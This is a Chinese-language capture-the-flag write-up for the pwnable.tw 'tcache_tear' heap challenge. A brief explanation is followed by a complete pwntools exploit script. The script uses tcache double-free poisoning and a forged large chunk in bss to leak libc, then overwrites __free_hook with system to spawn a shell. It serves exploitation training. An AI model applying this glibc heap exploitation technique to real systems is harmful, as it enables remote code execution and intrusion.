之所以记录这题是因为一开始我忽略了两个很朴素的方法组合在一起所造成的地址泄露技巧——bss任意写+0x20字节输出+伪造堆块。被常规思维束缚(平时比赛的恰饭题千篇一律也是一个原因)的我老想着找办法去打stdout,然而对于free次数的限制根本不允许我这么做。于是转念一想,既然不能泄露有libc地址的地方,我可以通过伪造大堆块并释放,让地址出现在bss上我可以输出的部分。

题目分析

思路

EXP

from pwn import *

#p = process("./tcache_tear")
p = remote("chall.pwnable.tw", 10207)
elf = ELF("./tcache_tear")
libc = ELF("./libc-remote.so")
context.log_level = "debug"

def malloc(size:int, content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Data:")
    p.send(content)

def free():
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")

def info():
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")

def exp():
    #const
    printf_plt = elf.symbols[b"printf"]
    atoll_got = elf.got[b"atoll"]
    bss_name = 0x602060
    bss_chunk_ptr = 0x602088
    print("printf_plt:", hex(printf_plt))
    print("atoll_got:", hex(atoll_got))
    print("bss_name:", hex(bss_chunk_ptr))
    print("bss_chunk_ptr:", hex(bss_chunk_ptr))

    name = p64(0) + p64(0x511)
    p.recvuntil(b"Name:")
    p.send(name)

    # leak lib
    ## tcache attach 1
    malloc(0x68, b"aaaa")
    for i in range(2):
        free()
    malloc(0x68, p64(bss_name+0x510))
    malloc(0x68, b"bbbb")

    ## make fake_fastchunk for fake_largechunk
    print("fake_fastchunk*2:", hex(bss_name+0x510))
    payload = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)
    malloc(0x68, payload)

    ## tcache attack 2
    malloc(0x78, b"cccc")
    for i in range(2):
        free()
    malloc(0x78, p64(bss_name+0x10))
    malloc(0x78, b"dddd")

    ## build fake_largechunk
    print("fake_fastchunk*2:", hex(bss_name+0x10))
    payload = p64(0) + p64(0)
    malloc(0x78, payload) #get fake_largechunk_ptr
    ## get libc addr
    free()

    ## leak info
    info()
    p.recvuntil(b"Name :")
    p.recv(0x10)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x3ebca0
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    malloc(0x58, b"e"*8)
    for i in range(2):
        free()
    malloc(0x58, p64(free_hook))
    malloc(0x58, b"ffff")
    malloc(0x58, p64(system))
    gdb.attach(p)

    malloc(0x18, b"/bin/sh\x00")
    free()

    p.interactive()

if __name__ == "__main__":
    exp()

标签: none

添加新评论